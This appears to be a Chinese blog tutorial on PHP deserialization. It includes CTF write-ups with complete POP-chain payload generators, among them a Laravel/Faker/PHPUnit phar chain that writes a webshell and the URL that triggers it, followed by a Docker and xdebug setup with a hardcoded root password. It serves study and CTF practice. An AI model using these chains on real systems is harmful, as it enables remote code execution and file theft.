这篇文章发表于 1655 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
本文是关于PHP反序列化的简单入门,其实好吧其中一些内容对入门而言也不简单了。
反序列化漏洞基础
该部分内容部分参考了此文章。
1 2 3 4 5 6 7 8 9 10 11 12
| __construct() __destruct() __toString() __sleep() __wakeup() __get() __set() __invoke() __call()
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。 解决方法:php输出的时候urlencode()或者用python burp等修改hex。
|
另外,对于wakeup()
绕过(wakeup()
函数在反序列化时会被自动调用):当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过wakeup()
函数的执行;也可以增加在数目方面加三,在字串前面加上\0*\0
来实现完美绕过(条件:php<=5.6.24
)。
几个例子
安恒月赛 babygo
修改后的题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php @error_reporting(1); include 'flag.php'; class baby { protected $skyobj; public $aaa; public $bbb; function __construct() { $this->skyobj = new sec; } function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } }
class cool { public $filename; public $nice; public $amzing; function read() { $this->nice = unserialize($this->amzing); $this->nice->aaa = $sth; if($this->nice->aaa === $this->nice->bbb) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } } } }
class sec { function read() { return "it's so sec~~"; } }
if (isset($_GET['data'])) { $Input_data = unserialize($_GET['data']); echo $Input_data; } else { highlight_file("ss.php"); } ?>
|
这里的危险函数是file_get_contents
,先观察cool
类,发现这里需要调用read
函数,并且需要绕过$this->nice->aaa === $this->nice->bbb
的判断,所以这里必须进行绕过。然后我们思考哪里导致了对cool
类的调用。
于是发现baby
类中存在着__toString()
方法,这里必须将$this->skyobj
替换为cool
,因为sec
没有任何前途。所以已经发现了入口。
这里先谈谈如何实现绕过。因为不知道$sth
的内容,故可以利用指针来实现绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php class baby { protected $skyobj; public $aaa; public $bbb; function __construct() { $this->skyobj = new cool; } function __toString() { if (isset($this->skyobj)) { return $this->skyobj->read(); } } } class cool { public $filename; public $nice; public $amzing; function read() { $this->nice = unserialize($this->amzing); $this->nice->aaa = $sth; if($this->nice->aaa === $this->nice->bbb) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } } } } $a = new baby(); $a->bbb =&$a->aaa; echo urlencode(serialize($a));
|
这里的输出便是$amzing
的payload内容,能够绕过那个判断。然后是最终的payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php class baby { protected $skyobj; public $aaa; public $bbb; function __construct() { $this->skyobj = new cool; } function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename="./flag.php"; public $nice; public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D'; function read() { $this->nice = unserialize($this->amzing); $this->nice->aaa = $sth; if($this->nice->aaa === $this->nice->bbb) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } } } } $a=new baby(); echo urlencode(serialize($a));
|
最后的urlencode
编码是为了防止protected
会导致的出错。
[MRCTF2020]Ezpop
题目源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
|
POP链思路:
1、这里的Modifier
类中的include
是利用点,由于直接include(flag.php)
不可能显示内容,故需要使用filter
来完成读取。再看这个类,__invoke()
无疑是可以用来触发append
完成攻击的,所以要想办法在其他地方完成将Modifier
当做函数的调用。
2、然后发现了Test
类中的__get()
方法对函数的调用,而该方法是对需要我们去访问Test
中不可访问的属性才能够触发的,那么我们该怎么利用才能进入到这个function中呢?
3、观察Show
类。这里的__wakeup()
是触发反序列化的入口点,还有一个preg_match
,其中还使用了$this->source
。
4、又看见Show
类中的__toString()
方法,这里面有一个$this->str->source
,所以关键就在这里了。如果将$this->str=new Test()
,那么里面没有source
属性,也就完成了对Test
中不可访问属性的访问。怎么调用这个方法?就是依靠第三点。
据此,给出payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=./flag.php"; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
$a = new Show(); $a->source = new Show(); $a->source->str = new Test(); $a->source->str->p = new Modifier(); echo urlencode(serialize($a));
|
本题最大的困惑点在于对__toString()
方法的触发,对此给出两张调试时候的图片供参考。
调试时第一次触发wakeup
方法,下一步并没有步入到toString
之中,而是在结束后再次触发wakeup
。
第二次wakeup
之后直接步入到toString
之中。从变量来看,$this->source
被视为了一个字符串才导致出现了该状况。
l3m0n师傅的一则
具体不放出来了,参看这两篇文章即可。
https://www.cnblogs.com/iamstudy/articles/php_unserialize_pop_2.html
http://redteam.today/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/
code-breaking-2018 lumenserial
这题是让我写这篇文章的直接原因。源码位于此处,如果需要在docker容器中进行xdebug
远程调试,可以参看本人补充部分。
首先使用seay源码审计系统
扫一遍高危函数,发现在/app/Http/Controllers/EditorController.php
中存在着file_get_contents
函数。
这里选中download
,然后ctrl+b
直接找到download
被调用的位置。
这里可以继续进行搜索,然后发现了catcherFieldName
这里可以通过GET参数source
进行提交,这里观察上图代码可以发现source
的类型为数组。
看起来已经将拼图完成了大半,但是我们并不知道究竟在哪里能够让这部分代码得到使用。这时搜索EditorController
关键词,发现了入口。
也就是我们只要GET或者是POST对应的参数到/server/editor
即可。那么,现在我们应该已经有能力完成一部分比较低价值的操作了,下一个问题就是——能不能做到getshell呢?
这里得提一点,就是file_get_contents
和unlink
等函数参数可控的情况下,我们可以配合phar
协议来实现反序列化操作,强烈推荐此文章。于是接下来开始寻找POP链。
参见该文章:这里提到了之前的四种构造方法,每一种第一步都是都是__destruct()
方法。所以这里也从这个方法开始寻找可利用的POP链。
于是在/vendor/illuminate/broadcasting/PendingBroadcast.php
找到了destruct
方法,而且我们惊喜地发现$event
和$events
都是可控的。
于是这里出现了两条思路,我们可以选择令$this->events=__call()
来完成命令执行,也可以找到含有dispatch
的类再进行相关的操作。我们选择第一种方法。按网上的writeup来看,/vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
里面的利用比较简单。
call_user_func_array
以及call_user_func
两个函数非常引人注目。
1 2
| $res = call_user_func_array(array($this->generator, $name), $arguments); call_user_func($this->validator, $res)
|
观察其中的参数,发现$generator
和$validator
可控,要是有能力控制住$name
和$arguments
或者直接控制住$res
,我们就能够完成危险操作。网上的writeup是想办法控制住$res
,也就是call_user_func_array
的返回结果。于是找到了/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php
,如下图,这里的$default
可控,并且能够返回。
但是call_user_func
并不能完成getshell操作。因为这里需要我们通过最好能够利用类似于这样的命令来写马call_user_func_array('file_put_contents',array('shell.php','shell_command'))
。这就需要寻找这个call_user_func_array
函数。根据writeup提到了/vendor/phpunit/phpunit/srcFramework/MockObject/Stub/ReturnCallback.php
里面的比较容易利用。
这里的$callback
可控,其次我们需要知道$invocation
到底可不可控。搜索后发现了/phpunit/phpunit/src/MockObject/Invocation
这个文件夹。
进入之后发现了其中Invocation.php
的代码。
其中的array
就是我们想要的,接着继续搜索。
可控。于是POP链形成了。建议从最后再往前梳理一遍,不要嫌麻烦。借用安全客这张图再次复述一遍。
这里ReturnCallback
,PendingBroadcast
和StaticInvocation
部分比较好理解。中间ValidGenerator
到DefaultGenerator
以及ReturnCallback
的联系可能需要再讲解下:在攻击后,这里的$this->validator
确切来说是invoke
,那个call_user_func($this->validator,$res)
就相当于invoke($res)
,而这里的$res
也就是图片底部的数组。
这里可能讲的还是差了一点。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| <?php namespace Illuminate\Broadcasting { use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } }
namespace Faker { class ValidGenerator { protected $generator; protected $validator; protected $maxRetries;
public function __construct($generator, $validator = null, $maxRetries = 10000) { $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } }
class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } }
namespace PHPUnit\Framework\MockObject\Stub { use PHPUnit\Framework\MockObject\Invocation; use PHPUnit\Framework\MockObject\Stub; class ReturnCallback { private $callback; public function __construct($callback) { $this->callback = $callback; } } }
namespace PHPUnit\Framework\MockObject\Invocation { use PHPUnit\Framework\MockObject\Generator; use PHPUnit\Framework\MockObject\Invocation; use PHPUnit\Framework\SelfDescribing; use ReflectionObject; use SebastianBergmann\Exporter\Exporter; class StaticInvocation { private $parameters; public function __construct(array $parameters) { $this->parameters = $parameters; } } }
namespace { $function = 'file_put_contents'; $parameters = array('/var/www/html/upload/shell.php', '<?php $_POST[\'a\'];?>'); $invocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters); $return = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function); $default = new Faker\DefaultGenerator($invocation); $valid = new Faker\ValidGenerator($default, array($return, 'invoke'), 100); $obj = new Illuminate\Broadcasting\PendingBroadcast($valid, 1); $o = $obj; @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); } ?>
|
修改phar
后缀,然后作为图片上传。之后访问如下URL即可完成写马:http://target.utl/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/7f71db41b6fc7bad32ff47dcdc31195b/202007/12/6fd04760a8d702ff0fa9.gif
。
其实还有办法完成POP链的构造,这里略。
对审计环境搭建的补充
该部分和上面知识无关,但是没一个像样的审计环境会大大阻碍自己的发展,尤其是找类似于利用链条的时候。
这里使用的是PHPstorm+xdebug
的方式完成的。主要针对的是code-breaking
的laravel
,这题为了减少不必要的安装,直接使用了原题的docker,导致不得不进行远程的调试。以该题为例,这里说几句。
首先是要解决在docker内部安装ssh
和xdebug
。其次是本地的配置以及端口映射。
以下是经过本人修改后的Dockerfile
和docker-composer.yml
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| FROM php:7.2-apache
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \ && sed -i 's/deb.debian.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list \ && apt-get update && apt-get install -y \ libfreetype6-dev \ libjpeg62-turbo-dev \ libpng-dev \ libzip-dev \ && docker-php-ext-install -j$(nproc) iconv zip pdo_mysql mysqli \ && docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ \ && docker-php-ext-install -j$(nproc) gd
RUN set -ex \ && cd / \ && mkdir -p /var/lib/php/sessions \ && chown www-data:www-data -R /var/lib/php/sessions \ && rm -rf /var/www/* \ && a2enmod rewrite
COPY cat/ /var/www/
RUN set -ex \ && cd / \ && apt-get install -y openssh-server \ && apt-get install git -y \ && curl -s https://getcomposer.org/installer \ | php -- --install-dir=/usr/local/bin --filename=composer \ && chmod +x /usr/local/bin/composer \ && cd /var/www \ && composer update
RUN set -ex \ && apt-get install -y wget \ && apt-get install -y vim \ && sed -i 's/UsePAM yes/UsePAM no/g' /etc/ssh/sshd_config && sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config && echo 'root:rootpass5d' | chpasswd \ && wget http://xdebug.org/files/xdebug-2.9.6.tgz \ && cd /var/www \ && mkdir html/upload/ \ && chown root:root -R . \ && chmod 0755 -R . \ && chown www-data:www-data -R storage/app/ storage/framework/cache/ storage/framework/views/ storage/logs/ html/upload/
EXPOSE 22
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| version: '3' services: web: build: . env_file: - ./envfile ports: - "23453:80" - "25432:22" - "25555:9109" volumes: - ./sandbox.ini:/usr/local/etc/php/conf.d/sandbox.ini - ./flag_larave1_b0ne:/var/www/flag_larave1_b0ne
|
然后是一些关于xdebug
的安装命令,
1 2 3 4 5 6
| tar -xvzf xdebug-2.9.6.tgz cd xdebug-2.9.6 phpize ./configure make cp modules/xdebug.so /usr/local/lib/php/extensions/no-debug-non-zts-20170718
|
接着是php.ini
的配置。由于本地并没有php.ini
,这里的操作需要注意一下。
1 2 3 4 5 6 7 8 9 10 11 12
| [XDebug] zend_extension = /usr/local/lib/php/extensions/no-debug-non-zts-20170718/xdebug.so xdebug.remote_enable=1 xdebug.remote_port=9001 xdebug.remote_host=127.0.0.1 xdebug.remote_log=/var/log/php-xdebug.log xdebug.idekey="PHPSTORM"
|
开启ssh
:
剩下的配置参看这两篇文章:这个,这个。我给出部分配图供参考。